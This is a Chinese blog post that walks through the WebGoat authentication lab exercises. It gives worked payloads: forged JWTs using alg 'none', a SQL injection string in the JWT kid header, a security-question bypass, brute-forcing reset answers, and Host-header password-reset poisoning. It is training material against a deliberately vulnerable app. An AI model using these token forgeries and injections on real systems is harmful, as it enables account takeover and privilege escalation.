【webGoat】Broken Authentication

举报
黑色地带(崛起) 发表于 2023/01/17 20:08:23 2023/01/17
【摘要】 【中断的身份验证】

前言:

介绍: 

博主:网络安全领域狂热爱好者。

殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。


导读:

面向读者:对于网络安全方面的学者。 

本文知识点: 

【中断的身份验证】

 


 目录

Broken Authentication(中断的身份验证)

一、Authentication Bypasses(绕过身份验证)

第2题:

二、JWT tokens

第3题:

第5题:

第7题:

第8题:

第10题:

第11题:

三、Password reset(密码重置)

启动webwolf

第2题:

第4题:

第5题:

第6题: 



Broken Authentication(中断的身份验证)

一、Authentication Bypasses(绕过身份验证)

第2题:

随便提交,然后抓到包

发送到repeater进行研究

编辑


secQuestion0和secQuestion1

如果改为2,3的话(任何可能不存在的),没有对应的问题和答案

可能输入null=null,或者输入什么都是对的

改后返回数据包为true

编辑

 编辑




二、JWT tokens

第3题:

直接使用JWT在线解密工具

用户名为

user

编辑

编辑




第5题:

这个垃圾桶是重置的意思

编辑

 编辑

想尝试2个方法

1、通过切换用户,将其他用户的权限通过JWT提升为admin(失败)

2、执行删除操作,以admin权限进行 (成功)


方法一(失败)

点击切换为角色Tom

并抓包,其中一个包中发现了token


编辑


 JWT解密后

"admin": "false",要将其改为true

避免爆破,直接将其改为{ “alg”: “none”}

编辑


base64编码:

{

"alg": "none"
}

ewoKImFsZyI6ICJub25lIgp9


{
"iat": 1665554118,
"admin": "true",
"user": "Tom"
}

ewoiaWF0IjogMTY2NTU1NDExOCwKImFkbWluIjogInRydWUiLAoidXNlciI6ICJUb20iCn0=

编辑

(提示:编码时,别带空格,不然最后会这样) 

组合(要去掉=,还要加.):

ewoKImFsZyI6ICJub25lIgp9.ewoiaWF0IjogMTY2NTU1NDExOCwKImFkbWluIjogInRydWUiLAoidXNlciI6ICJUb20iCn0.


只改JWT,失败

编辑

 头部删掉后,但还是失败

编辑



方法二(成功)

点击垃圾箱,并抓包,改JWT

ewrCoCAiYWxnIjogIm5vbmUiCn0.ewogICJpYXQiOiAxNjY1NTU0MTE4LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

编辑

 然后这题就绿了,完成了




第7题:

编辑




第8题:

爆破密钥



第10题:

题意为:自己买东西,让Tom支付

根据提示找到已经失效的token

编辑

 编辑

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

 编辑


加密方法改为none

base64编码:

{

"alg": "none"
}

ewoKImFsZyI6ICJub25lIgp9


exp是时间戳,在这个基础上推迟几十秒

1664698210(这位结束时间,最好在现在的后面2分钟)

我这里是过关后截图的

编辑



base64加密

{
"iat": 1526131411,
"exp": 1664698210,
"admin": "false",
"user": "Tom"
}

ewoiaWF0IjogMTUyNjEzMTQxMSwKImV4cCI6IDE2NjQ2OTgyMTAsCiJhZG1pbiI6ICJmYWxzZSIsCiJ1c2VyIjogIlRvbSIKfQ==


组合起来(删除=,加上.)

ewoKImFsZyI6ICJub25lIgp9.ewoiaWF0IjogMTUyNjEzMTQxMSwKImV4cCI6IDE2NjQ2OTgyMTAsCiJhZG1pbiI6ICJmYWxzZSIsCiJ1c2VyIjogIlRvbSIKfQ.


点击checkout后,抓到数据包

发送到repeater

编辑


将JWT插入到Authorization后面部分

编辑

 编辑




第11题:

(参考的大佬的方法)

点击,删除Tom,抓包

并发送到repeater

编辑


eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

编辑



1、kid没有防御SQL注入,存在注入点

'; select 'MQ==' from jwt_keys --

编辑


2、改变username

Tom

编辑


3、改时间戳

1618905304改为现在以后的时间戳

1664703610

编辑


3、SQL注入查询的结果会作为签名算法的秘钥来对header和payload进行加密

1

编辑

编辑



将改后的JWT填上去返回true了

编辑

 编辑



三、Password reset(密码重置)

启动webwolf

webwolf出点问题了(在powershell下,解决方法好像是需要将编码方法引起来)

编辑

 java -Dfile.encoding=UTF-8 -jar webwolf-8.2.2.jar

(在管理员命令提示符下成功了)

编辑

点击进行启动webwolf页面

并使用webGoat账号进行登陆

编辑




第2题:

测试webwolf是否可用

使用自己的用户名+@webgoat.org

编辑


 收到了新密码编辑

新密码登陆

 编辑

 编辑





第4题:

会提示用户是否存在

然后对存在的用户进行爆破

(颜色可能是英文,可能是中文)

编辑


编辑

爆破就那些个颜色,没啥难搞的

tom

purple



第5题:

编辑



第6题: 

先尝试重置自己的密码

 点击link

编辑

fcc02a5f-2c90-4178-974f-048ed485640c可能是身份

编辑


 尝试修改Tom密码

再发送邮件

编辑


抓包,并发送到repeater

编辑


修改Host访问本地的webwolf发邮件

编辑


webwolf抓到链接

复制后面的身份验证凭证

(替换重置自己身份的那个URL的身份信息)

编辑


9112825a-e642-4eaa-96ad-233e422696cb

编辑



编辑

 编辑

 登陆成功


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。